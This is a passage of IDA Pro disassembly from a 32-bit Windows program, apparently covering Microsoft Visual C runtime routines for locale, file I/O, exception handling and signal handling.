		dd offset loc_42854C	; DATA XREF: unknown_libname_7+385r
		dd offset loc_4287E0
		dd offset loc_428670
		dd offset loc_428919
		dd offset loc_4285DB
		dd offset loc_428561
		dd offset loc_4288EB
		dd offset loc_4287F0
		dd offset loc_428795
		dd offset loc_428965
		dd offset loc_42890F
		dd offset loc_428686
		dd offset loc_428903
		dd offset loc_428925
		dd offset loc_428BF7
byte_428EAC	db 0			; DATA XREF: unknown_libname_7+37Fr
		db 0Eh,	1, 0Eh
		dd 0E0E0E01h, 2	dup(0E0E0E0Eh),	0E0E0E02h, 40E030Eh, 2 dup(0E0E0E0Eh)
		dd 7070605h, 0E060E07h,	80E0E0Eh, 0E0E0A09h, 0E0C0E0Bh
		dd 0CCCC0D0Eh, 3 dup(0CCCCCCCCh)
; [00000077 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000035 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000004A BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001A BYTES: COLLAPSED FUNCTION _get_int_arg. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000001F BYTES: COLLAPSED FUNCTION _get_int64_arg. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001B BYTES: COLLAPSED FUNCTION _get_short_arg. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000082 BYTES: COLLAPSED FUNCTION __mtinit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000029 BYTES: COLLAPSED FUNCTION __mtterm.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000019 BYTES: COLLAPSED FUNCTION __initptd. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000098 BYTES: COLLAPSED FUNCTION __getptd.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000107 BYTES: COLLAPSED FUNCTION __freeptd. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		call	ds:dword_4F54C4	; GetCurrentThreadId
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	ds:dword_4F54DC	; GetCurrentThread
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000344 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000059 BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000050 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
off_429710	dd offset loc_4296EE	; DATA XREF: _CPtoLCID+27r
		dd offset loc_4296F5
		dd offset loc_4296FC
		dd offset loc_429703
		dd offset loc_42970A
byte_429724	db 0			; DATA XREF: _CPtoLCID+21r
		db 3 dup(4)
		dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh)
; [00000074 BYTES: COLLAPSED FUNCTION _setSBCS.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000302 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000017 BYTES: COLLAPSED FUNCTION __getmbcp. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000022 BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000125 BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000091 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000000D BYTES: COLLAPSED FUNCTION __errno. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000000D BYTES: COLLAPSED FUNCTION ___doserrno. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000000B BYTES: COLLAPSED FUNCTION __toupper. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000093 BYTES: COLLAPSED FUNCTION _toupper.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000012B BYTES: COLLAPSED FUNCTION _toupper_0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000157 BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000094 BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00001328 BYTES: COLLAPSED FUNCTION unknown_libname_11. PRESS	KEYPAD "+" TO EXPAND]
off_42B418	dd offset loc_42A3AA	; DATA XREF: unknown_libname_11+239r
		dd offset loc_42A330
		dd offset loc_42A348
		dd offset loc_42A38C
		dd offset loc_42A335
		dd offset loc_42A397
		dd offset loc_42A39F
		dd offset unknown_libname_12 ; Microsoft VisualC 2-8/net runtime
byte_42B438	db 0			; DATA XREF: unknown_libname_11+233r
		db 3 dup(7)
		dd 6 dup(7070707h), 2070701h, 7030707h,	7070701h, 5 dup(7070707h)
		dd 7040707h, 7050707h, 2 dup(7070707h)
		db 7, 6
off_42B486	dd offset loc_42A4BB	; DATA XREF: unknown_libname_11+3C4r
		dd offset loc_42A9F4
		dd offset loc_42AE67
		dd offset loc_42A8EB
		dd offset loc_42AE52
		dd offset loc_42A9F0
		dd offset loc_42A501
		dd offset loc_42A8F2
		dd offset loc_42A526
		dd offset loc_42B23A
byte_42B4AE	db 0			; DATA XREF: unknown_libname_11+3BEr
		db 1
		dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h
		dd 2 dup(0CCCCCCCCh)
; [00000058 BYTES: COLLAPSED FUNCTION __hextodec. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000051 BYTES: COLLAPSED FUNCTION __inc. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001B BYTES: COLLAPSED FUNCTION __un_inc.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000039 BYTES: COLLAPSED FUNCTION __whiteout. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000001B BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000055 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000067 BYTES: COLLAPSED FUNCTION __handle_qnan2. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000B2 BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000CE BYTES: COLLAPSED FUNCTION __except2. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000004B1 BYTES: COLLAPSED FUNCTION __raise_exc. PRESS KEYPAD	"+" TO EXPAND]
off_42BD21	dd offset loc_42BCAC	; DATA XREF: __raise_exc+3FFr
		dd offset loc_42BC9A
		dd offset loc_42BC88
		dd offset loc_42BC76
		align 10h
; [00000372 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000009B BYTES: COLLAPSED FUNCTION __umatherr. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000003A BYTES: COLLAPSED FUNCTION __set_errno. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000003F BYTES: COLLAPSED FUNCTION __get_fname. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000071 BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003E BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002D BYTES: COLLAPSED FUNCTION __get_exp. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000033 BYTES: COLLAPSED FUNCTION __add_exp. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __set_bexp. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000007C BYTES: COLLAPSED FUNCTION __sptype.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000139 BYTES: COLLAPSED FUNCTION __decomp.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000016 BYTES: COLLAPSED FUNCTION __statfp.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000017 BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000032 BYTES: COLLAPSED FUNCTION __ctrlfp.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000017 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000005E BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000042 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [000000A8 BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000D7 BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000002D BYTES: COLLAPSED FUNCTION __positive. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000048 BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000076 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000166 BYTES: COLLAPSED FUNCTION __cftoe2.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000006A BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000013D BYTES: COLLAPSED FUNCTION __cftof2.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000E5 BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000005F BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002E BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000EF BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000002A0 BYTES: COLLAPSED FUNCTION FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *). PRESS	KEYPAD "+" TO EXPAND]
; [00000115 BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000B6 BYTES: COLLAPSED FUNCTION TypeMatch(_s_HandlerType const *,_s_CatchableType	const *,_s_ThrowInfo const *). PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000F7 BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002C BYTES: COLLAPSED FUNCTION sub_42D480. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000000B7 BYTES: COLLAPSED FUNCTION unknown_libname_21. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000000DD BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong).	PRESS KEYPAD "+" TO EXPAND]
; [0000005E BYTES: COLLAPSED FUNCTION sub_42D64D. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION CallCatchBlock(EHExceptionRecord	*,EHRegistrationNode *,_CONTEXT	*,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000042 BYTES: COLLAPSED FUNCTION ExFilterRethrow(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000027B BYTES: COLLAPSED FUNCTION BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType	const *). PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000086 BYTES: COLLAPSED FUNCTION _DestructExceptionObject(EHExceptionRecord *,uchar). PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000046 BYTES: COLLAPSED FUNCTION ___AdjustPointer.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_22. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000006C BYTES: COLLAPSED FUNCTION terminate(void). PRESS KEYPAD "+"	TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	short loc_42DB34
; [00000005 BYTES: COLLAPSED FUNCTION j__abort.	PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION terminate(void).	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001B BYTES: COLLAPSED FUNCTION unexpected(void).	PRESS KEYPAD "+" TO EXPAND]
		db  5Dh	; ]
		db 0C3h	; 
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_42DB70	proc near		; CODE XREF: _GetRangeOfTrysToCheck(_s_FuncInfo	const *,int,int,uint *,uint *)+23p
					; _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *):loc_42096Dp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042DBE0 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D388
		push	offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		cmp	off_4542C0, 0
		jz	short loc_42DBCC
		mov	[ebp+var_4], 1
		call	off_4542C0	; terminate(void)
		mov	[ebp+var_4], 0
		jmp	short loc_42DBCC
; ---------------------------------------------------------------------------

loc_42DBBC:				; DATA XREF: .rdata:0043D398o
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_42DBC2:				; DATA XREF: .rdata:0043D39Co
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0

loc_42DBCC:				; CODE XREF: sub_42DB70+34j
					; sub_42DB70+4Aj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	j_?terminate@@YAXXZ ; terminate(void)
sub_42DB70	endp

; ---------------------------------------------------------------------------
		db 0EBh	; 
		db    6
; [00000005 BYTES: COLLAPSED FUNCTION terminate(void). PRESS KEYPAD "+"	TO EXPAND]
		db 0C3h	; 
; START	OF FUNCTION CHUNK FOR sub_42DB70
		db  8Bh	; 
		db  4Dh	; M
		db 0F0h	; 
		db  64h	; d
		db  89h	; 
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db  8Bh	; 
		db 0E5h	; 
		db  5Dh	; ]
		db 0C3h	; 
; END OF FUNCTION CHUNK	FOR sub_42DB70
		align 10h
; [000000EE BYTES: COLLAPSED FUNCTION ___loctotime_t. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000003EF BYTES: COLLAPSED FUNCTION _setlocale. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000193 BYTES: COLLAPSED FUNCTION __setlocale_set_cat. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000100 BYTES: COLLAPSED FUNCTION __setlocale_get_all. PRESS KEYPAD	"+" TO EXPAND]
; [00000184 BYTES: COLLAPSED FUNCTION __expandlocale. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E510	proc near		; CODE XREF: __setlocale_set_cat+12Bp
					; DATA XREF: .data:off_4543D8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_42E510	endp

; ---------------------------------------------------------------------------
		align 10h
; [0000004F BYTES: COLLAPSED FUNCTION __strcats. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000015D BYTES: COLLAPSED FUNCTION ___lc_strtolc. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000065 BYTES: COLLAPSED FUNCTION ___lc_lctostr. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000082 BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000B2 BYTES: COLLAPSED FUNCTION __lseek_lk. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000062 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000029A BYTES: COLLAPSED FUNCTION __ftell_lk. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000082 BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000273 BYTES: COLLAPSED FUNCTION __write_lk. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000305 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000050 BYTES: COLLAPSED FUNCTION _strncnt.	PRESS KEYPAD "+" TO EXPAND]
; [000001BE BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000059 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000BC BYTES: COLLAPSED FUNCTION __wincmdln. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000149 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000D8 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000424 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000219 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000324 BYTES: COLLAPSED FUNCTION __ioinit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000009B BYTES: COLLAPSED FUNCTION __ioterm.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000049 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000001BF BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000050 BYTES: COLLAPSED FUNCTION __GET_RTERRMSG. PRESS KEYPAD "+" TO EXPAND]
; [000000DA BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000042 BYTES: COLLAPSED FUNCTION __itoa. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000C2 BYTES: COLLAPSED FUNCTION _xtoa. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003F BYTES: COLLAPSED FUNCTION __ltoa. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001E BYTES: COLLAPSED FUNCTION __ultoa. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000048 BYTES: COLLAPSED FUNCTION __i64toa.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000F2 BYTES: COLLAPSED FUNCTION x64toa(x,x,x,x,x). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __ui64toa. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		cmp	dword ptr [ebp+0Ch], 4
		jz	short loc_430783
		cmp	dword ptr [ebp+0Ch], 3
		jnz	short loc_430788

loc_430783:				; CODE XREF: .text:0043077Bj
		jmp	loc_430958
; ---------------------------------------------------------------------------

loc_430788:				; CODE XREF: .text:00430781j
		cmp	dword ptr [ebp+8], 2
		jz	short loc_4307A4
		cmp	dword ptr [ebp+8], 15h
		jz	short loc_4307A4
		cmp	dword ptr [ebp+8], 16h
		jz	short loc_4307A4
		cmp	dword ptr [ebp+8], 0Fh
		jnz	loc_430881

loc_4307A4:				; CODE XREF: .text:0043078Cj
					; .text:00430792j ...
		push	1
		call	__lock
		add	esp, 4
		cmp	dword ptr [ebp+8], 2
		jz	short loc_4307BA
		cmp	dword ptr [ebp+8], 15h
		jnz	short loc_4307FF

loc_4307BA:				; CODE XREF: .text:004307B2j
		cmp	dword_4F374C, 0
		jnz	short loc_4307FF
		push	1
		push	offset _ctrlevent_capture@4 ; ctrlevent_capture(x)
		call	ds:dword_4F53F8	; SetConsoleCtrlHandler
		cmp	eax, 1
		jnz	short loc_4307E1
		mov	dword_4F374C, 1
		jmp	short loc_4307FF
; ---------------------------------------------------------------------------

loc_4307E1:				; CODE XREF: .text:004307D3j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	esi, eax
		call	___doserrno
		mov	[eax], esi
		push	1
		call	__unlock
		add	esp, 4
		jmp	loc_430958
; ---------------------------------------------------------------------------

loc_4307FF:				; CODE XREF: .text:004307B8j
					; .text:004307C1j ...
		mov	eax, [ebp+8]
		mov	[ebp-10h], eax
		mov	ecx, [ebp-10h]
		sub	ecx, 2
		mov	[ebp-10h], ecx
		cmp	dword ptr [ebp-10h], 14h
		ja	short loc_430872
		mov	eax, [ebp-10h]
		xor	edx, edx
		mov	dl, ds:byte_43097F[eax]
		jmp	ds:off_43096B[edx*4]

loc_430826:				; DATA XREF: .text:off_43096Bo
		mov	ecx, dword_4F373C
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp+0Ch]
		mov	dword_4F373C, edx
		jmp	short loc_430872
; ---------------------------------------------------------------------------

loc_43083A:				; CODE XREF: .text:0043081Fj
					; DATA XREF: .text:00430973o
		mov	eax, dword_4F3740
		mov	[ebp-0Ch], eax
		mov	ecx, [ebp+0Ch]
		mov	dword_4F3740, ecx
		jmp	short loc_430872
; ---------------------------------------------------------------------------

loc_43084D:				; CODE XREF: .text:0043081Fj
					; DATA XREF: .text:00430977o
		mov	edx, dword_4F3744
		mov	[ebp-0Ch], edx
		mov	eax, [ebp+0Ch]
		mov	dword_4F3744, eax
		jmp	short loc_430872
; ---------------------------------------------------------------------------

loc_430860:				; CODE XREF: .text:0043081Fj
					; DATA XREF: .text:0043096Fo
		mov	ecx, dword_4F3748
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp+0Ch]
		mov	dword_4F3748, edx

loc_430872:				; CODE XREF: .text:00430812j
					; .text:0043081Fj ...
		push	1
		call	__unlock
		add	esp, 4
		jmp	loc_430953
; ---------------------------------------------------------------------------

loc_430881:				; CODE XREF: .text:0043079Ej
		cmp	dword ptr [ebp+8], 8
		jz	short loc_430898
		cmp	dword ptr [ebp+8], 4
		jz	short loc_430898
		cmp	dword ptr [ebp+8], 0Bh
		jz	short loc_430898
		jmp	loc_430958
; ---------------------------------------------------------------------------

loc_430898:				; CODE XREF: .text:00430885j
					; .text:0043088Bj ...
		call	__getptd
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+50h], offset dword_454418
		jnz	short loc_4308F5
		push	133h
		push	offset aWinsig_c ; "winsig.c"
		push	2
		mov	ecx, dword_454498
		push	ecx
		call	__malloc_dbg
		add	esp, 10h
		mov	edx, [ebp-4]
		mov	[edx+50h], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+50h], 0
		jz	short loc_4308F3
		mov	ecx, dword_454498
		push	ecx
		push	offset dword_454418
		mov	edx, [ebp-4]
		mov	eax, [edx+50h]
		push	eax
		call	_memcpy
		add	esp, 0Ch
		jmp	short loc_4308F5
; ---------------------------------------------------------------------------

loc_4308F3:				; CODE XREF: .text:004308D4j
		jmp	short loc_430958
; ---------------------------------------------------------------------------

loc_4308F5:				; CODE XREF: .text:004308AAj
					; .text:004308F1j
		mov	ecx, [ebp-4]
		mov	edx, [ecx+50h]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	_siglookup
		add	esp, 8
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_430913
		jmp	short loc_430958
; ---------------------------------------------------------------------------

loc_430913:				; CODE XREF: .text:0043090Fj
		mov	ecx, [ebp-8]
		mov	edx, [ecx+8]
		mov	[ebp-0Ch], edx

loc_43091C:				; CODE XREF: .text:loc_430951j
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		cmp	ecx, [ebp+8]
		jnz	short loc_430953
		mov	edx, [ebp-8]
		mov	eax, [ebp+0Ch]
		mov	[edx+8], eax
		mov	ecx, [ebp-8]
		add	ecx, 0Ch
		mov	[ebp-8], ecx
		mov	edx, dword_45449C
		imul	edx, 0Ch
		mov	eax, [ebp-4]
		mov	ecx, [eax+50h]
		add	ecx, edx
		cmp	[ebp-8], ecx
		jb	short loc_430951
		jmp	short loc_430953
; ---------------------------------------------------------------------------

loc_430951:				; CODE XREF: .text:0043094Dj
		jmp	short loc_43091C
; ---------------------------------------------------------------------------

loc_430953:				; CODE XREF: .text:0043087Cj
					; .text:00430925j ...
		mov	eax, [ebp-0Ch]
		jmp	short loc_430966
; ---------------------------------------------------------------------------

loc_430958:				; CODE XREF: .text:loc_430783j
					; .text:004307FAj ...
		call	__errno
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh

loc_430966:				; CODE XREF: .text:00430956j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
off_43096B	dd offset loc_430826	; DATA XREF: .text:0043081Fr
		dd offset loc_430860
		dd offset loc_43083A
		dd offset loc_43084D
		dd offset loc_430872
byte_43097F	db 0			; DATA XREF: .text:00430819r
		dd 3 dup(4040404h), 4040401h, 3020404h,	3 dup(0CCCCCCCCh)
; [00000092 BYTES: COLLAPSED FUNCTION ctrlevent_capture(x). PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000020A BYTES: COLLAPSED FUNCTION _raise. PRESS KEYPAD "+" TO EXPAND]
off_430C4A	dd offset loc_430A78	; DATA XREF: _raise+31r
		dd offset loc_430AE3
		dd offset loc_430AC9
		dd offset loc_430A95
		dd offset loc_430AAF
		dd offset loc_430B0E
byte_430C62	db 0			; DATA XREF: _raise+2Br
		db 5
		dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h
		dd 2 dup(0CCCCCCCCh)
; [0000005B BYTES: COLLAPSED FUNCTION _siglookup. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_24. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000000D BYTES: COLLAPSED FUNCTION ___pxcptinfoptrs.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000BB BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000001E2 BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000B7 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [000000D8 BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000066 BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000104 BYTES: COLLAPSED FUNCTION __open_osfhandle.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000086 BYTES: COLLAPSED FUNCTION __lock_fhandle. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000026 BYTES: COLLAPSED FUNCTION __unlock_fhandle.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000D2 BYTES: COLLAPSED FUNCTION unknown_libname_25. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000001BC BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [000000C7 BYTES: COLLAPSED FUNCTION __getbuf.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003F BYTES: COLLAPSED FUNCTION __open. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000050E BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+"	TO EXPAND]
off_431C4E	dd offset loc_43182E	; DATA XREF: __sopen+E7r
		dd offset loc_431837
		dd offset loc_431840
		dd offset loc_431849
		dd offset loc_431852
byte_431C62	db 0			; DATA XREF: __sopen+E1r
		db 4
		dd 3 dup(4040404h), 4010404h, 3	dup(4040404h), 4020404h
		dd 3 dup(4040404h), 0CC030404h,	3 dup(0CCCCCCCCh)
; [00000032 BYTES: COLLAPSED FUNCTION __isatty.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
